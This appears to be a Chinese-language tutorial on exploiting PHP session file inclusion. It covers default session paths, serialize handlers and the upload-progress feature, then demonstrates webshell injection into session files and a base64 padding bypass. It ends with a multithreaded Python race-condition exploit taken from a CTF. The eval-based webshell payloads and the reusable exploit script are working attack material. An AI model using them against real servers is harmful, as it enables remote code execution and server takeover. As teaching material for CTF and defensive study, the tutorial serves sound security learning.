本文涉及相關實驗:文件包含漏洞-中級篇 (本實驗介紹了文件包含時繞過限制的原理,以及介紹利用文件包含漏洞讀取源碼的原理。)
基礎知識
PHP SESSION的存儲
SESSION會話存儲方式
在Java中,用戶的session是存儲在內存中的,而在PHP中,則是將session以文件的形式存儲在服務器某個文件中,我們可以在php.ini里面設置session的存儲位置session.save_path

在很多時候服務器都是按照默認設置來運行的,假如我們發現了一個沒有安全措施的session文件包含漏洞時,我們就可以嘗試利用默認的會話存放路徑去包含getshell,因此總結常見的php-session的默認存儲位置是很有必要的
默認路徑
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件的存儲路徑是分為兩種情況的一是沒有權限,默認存儲在
/var/lib/php/sessions/目錄下,文件名為sess_[phpsessid],而phpsessid在發送的請求的cookie字段中可以看到(一般在利用漏洞時我們自己設置phpsessid)二是
phpmyadmin,這時的session文件存儲在/tmp目錄下,需要在php.ini里把session.auto_start置為1,把session.save_path目錄設置為/tmp
與 SESSION 有關的幾個 PHP 選項

session.serialize_handler
-
一是
php,服務器在配置文件或代碼里面沒有對session進行配置的話,PHP默認的會話處理方式就是session.serialize_handler=php這種模式機制,這種模式只對用戶名的內容進行了序列化存儲,沒有對變量名進行序列化,我們可以看作是服務器對用戶會話信息的半序列化存儲 -
二是
session.serialize_handler=php_serialize,這種處理模式在PHP 5.5后開始啟用,與上一種類似,但無論是用戶名的內容還是變量名等都進行了系列化,可以看作是服務器對用戶會話信息的全序列化存儲 -
三是
php_binary,其存儲方式是,鍵名的長度對應的ASCII字符+鍵名+經過serialize()函數序列化處理的值
常見就是以上三種,還有一些其他的比如session.serialize_handler = wddx等這里就不展開贅述了
對比上面session.serialize_handler的兩種處理模式,可以看到他們在session處理上的差異,但我們編寫代碼不規范時對session的處理采用了多種情況,那么在攻擊者可以利用的情況下,很可能會造成session反序列化漏洞。
session.auto_start

默認是off狀態,如果開啟這個選項,則PHP在接收請求的時候會自動初始化Session,不再需要執行session_start()。
session.use_strict_mode

默認是0,此時用戶是可以自己定義Session ID的。比如,我們在Cookie里設置PHPSESSID=flag,PHP將會在服務器上創建一個文件:/tmp/sess_flag。即使此時用戶沒有初始化Session,PHP也會自動初始化Session,並產生一個鍵值.
因為sessid的可控,我們很容易借此達到我們getshell的目的,但是我們還存在session.upload_progress.cleanup
session.upload_progress.cleanup

默認開啟,一旦讀取了所有POST數據,它就會清除進度信息,所以我們一般都要通過條件競爭來進行文件上傳
session.upload_progress.enabled
默認情況下是開啟的,但也當該配置開啟時,我們今天要講的重點才得以引出
Session Upload Progress
Session Upload Progress 即 Session 上傳進度,是php>=5.4后開始添加的一個特性。官網對他的描述是當 session.upload_progress.enabled 選項開啟時(默認開啟),PHP 能夠在每一個文件上傳時 監測上傳進度。這個信息對上傳請求自身並沒有什么幫助,但在文件上傳時應用可以發送一個POST請求到終端(例如通過XHR)來檢查這個狀態。
當一個上傳在處理中,同時POST一個與INI中設置的session.upload_progress.name同名變量時,上傳進度可以在 $_SESSION 中獲得。 當PHP檢測到這種POST請求時,它會在 $_SESSION 中添加一組數據,索引是 session.upload_progress.prefix 與 session.upload_progress.name 連接在一起的值。

下面給出一個php官方文檔的一個進度數組的結構的樣例:
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>
此時在session中存放的數據看上去是這樣子的:
<?php
$_SESSION["upload_progress_123"] = array( // 其中存在上面表單里的value值"123"
"start_time" => 1234567890, // The request time 請求時間
"content_length" => 57343257, // POST content length post數據長度
"bytes_processed" => 453489, // Amount of bytes received and processed 已接收的字節數量
"done" => false, // true when the POST handler has finished, successfully or not
"files" => array(
0 => array(
"field_name" => "file1", // Name of the <input/> field 上傳區域
// The following 3 elements equals those in $_FILES
"name" => "foo.avi", // 上傳文件名
"tmp_name" => "/tmp/phpxxxxxx", // 上傳后在服務端的臨時文件名
"error" => 0,
"done" => true, // True when the POST handler has finished handling this file
"start_time" => 1234567890, // When this file has started to be processed
"bytes_processed" => 57343250, // Amount of bytes received and processed for this file
),
// An other file, not finished uploading, in the same request
1 => array(
"field_name" => "file2",
"name" => "bar.avi",
"tmp_name" => NULL,
"error" => 0,
"done" => false,
"start_time" => 1234567899,
"bytes_processed" => 54554,
),
)
);
LFI漏洞
LFI本地文件包含漏洞主要是包含本地服務器上存儲的一些文件,例如Session會話文件、日志文件、臨時文件等。但是,只有我們能夠控制包含的文件存儲我們的惡意代碼才能拿到服務器權限。
我們這里重點講的是針對LFI Session文件包含,我們可以簡單理解成以為配置的原因,用戶可以控制session文件中的部分信息,然后將這部分信息更改為惡意代碼,然后去包含這個session文件達到攻擊效果,在下面,我會演示一下大概流程
演示代碼
session.php
<?php
session_start();
$username = $_POST['username'];
$_SESSION["username"] = $username;
?>
index.php
<?php
$file = $_GET['file'];
include($file);
?>
payload
分析session.php可以看到用戶會話信息username的值用戶是可控的,因為服務器沒有對該部分作出限制。那么我們就可以傳入惡意代碼就行攻擊利用
我們傳入
username=Abc

我們看到,系統給我們初始了一個sess_ID

可以看出我們可以對username進行控制,那么假如我們傳入的是一句話木馬呢
username=<?php eval($_REQUEST['Abc']);?>


一句話馬傳入了,我們試試是不是真的可以像我們想的那樣執行

從攻擊結果可以看到我們的payload和惡意代碼確實都已經正常解析和執行。
當然這是一種理想化的簡單的漏洞利用情況,但是在平常中會有很多限制,常見的就是兩種:1.對用戶的會話信息進行了一定的處理,例如對用戶session信息進行編碼或加密 2.沒有代碼session_start()進行會話的初始化操作,這時服務器無法生成用戶session文件,同時,用戶也無法進行惡意session文件包含
下面,我們來講一講怎么繞過這些限制
Session Base64Encode
很多時候服務器上的session信息會由base64編碼之后再進行存儲,那么假如存在本地文件包含漏洞的時候該怎么去利用繞過呢?下面通過一個案例進行講解與利用。
demo
session.php
<?php
session_start();
$username = $_POST['username'];
$_SESSION['username'] = base64_encode($username);
echo "username -> $username";
?>
index.php
<?php
$file = $_GET['file'];
include($file);
?>
exp
按照我們的一般套路注入


我們可以發現我們包含的session被編碼了,導致LFI -> session失敗。
在這里可以用逆向思維想一下,他既然對我們傳入的session進行了base64編碼,那么我們是不是只要對其進行base64解碼然后再包含不就可以了,這個時候php://filter就可以利用上了。(其他編碼同理)
index.php?file=php://filter/read=convert.base64-decode/resource=/phpStudy/PHPTutorial/tmp/tmp/sess_gnl84oftbpj0l47o5m2hlooi92

吼,無法解碼!
這是為什么,來來來我們再仔細看看session文件內容

username|s:44:"PD9waHAgZXZhbCgkX1JFUVVFU1RbJ0FiYyddKTs/Pg==";
看到了嗎,這里並不是只有base64密文,還有username|s:44:"這一段非base64的字符串,編碼與解碼不對應,當然無法解碼
那么我們有什么方法解決嗎
首先我們先來了解一下base64編碼的特點
-
Base64編碼是使用64個可打印ASCII字符(A-Z、a-z、0-9、+、/)將任意字節序列數據編碼成ASCII字符串,另有“=”符號用作后綴用途。
-
Base64將輸入字符串按字節切分,取得每個字節對應的二進制值(若不足8比特則高位補0),然后將這些二進制數值串聯起來,再按照6比特一組進行切分(因為2^6=64),最后一組若不足6比特則末尾補0。將每組二進制值轉換成十進制,然后在上述表格中找到對應的符號並串聯起來就是Base64編碼結果。
-
由於二進制數據是按照8比特一組進行傳輸,因此Base64按照6比特一組切分的二進制數據必須是24比特的倍數(6和8的最小公倍數)。24比特就是3個字節,若原字節序列數據長度不是3的倍數時且剩下1個輸入數據,則在編碼結果后加2個=;若剩下2個輸入數據,則在編碼結果后加1個=。
-
一個字符串中,不管出現多少個特殊字符或者位置上的差異,都不會影響最終的結果,可以驗證base64_decode是遇到不在其中的字符時,將會跳過這些字符,僅將合法字符組成一個新的字符串進行解碼。
總而言之,要想正常解碼,需要session前面的這部分數據長度需要滿足4的整數倍,據此我們再次構造payload
username=abcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcd<?php eval($_POST['Abc']);?>


符合,我們重新傳參看看


執行成功
注:這是在session.serialize_handler=php配置下執行成功的,在其他配置下也是同樣的原理
No session_start()
一般情況下,session_start()作為會話的開始出現在用戶登錄等地方以維持會話,但是如果一個網站存在LFI漏洞但卻沒有用戶會話,那么我們該怎么去包含session信息呢
還記得我們上面說過的Session Upload Progress嗎?
Session Upload Progress 最初是PHP為上傳進度條設計的一個功能,在上傳文件較大的情況下,PHP將進行流式上傳,並將進度信息放在Session中,此時即使用戶沒有初始化Session,PHP也會自動初始化Session。而且,默認情況下session.upload_progress.enabled是為On的,也就是說這個特性默認開啟。所以,我們可以通過這個特性來在目標主機上初始化Session。——WHOAMIBunny
session中一部分數據(session.upload_progress.name)是用戶自己可以控制的,那么我們在Cookie中設置PHPSESSID=Abc(默認情況下由於session.use_strict_mode=0用戶可以自定義Session ID),同時POST惡意字段PHP_SESSION_UPLOAD_PROGRESS,只要上傳包里帶上這個鍵,PHP就會自動啟用Session,又由於我們之前設置了Session ID,所以session文件會自動創建且可控
但又由於session.upload_progress.cleanup = on這個配置的存在,當文件上傳結束后,php將會立即清空對應session文件中的內容,這會導致我們最終包含的只是一個空文件,所以我們要利用條件競爭,在session文件被清除之前利用
import io
import requests
import threading
sessid = 'SsBNMsssSssssL'
data = {"cmd":"system('cat flag.php');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post('http://192.168.43.82', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php var_dump(scandir("/etc"));?>'}, files={'file': ('a.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
data={
'filed':'',
'cf':'../../../../../../var/lib/php/sessions/eadhacfafh/sess_'+sessid
}
resp = session.post('http://192.168.43.82/index.php',data=data)
if 'a.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
國賽的腳本,改下payload即可
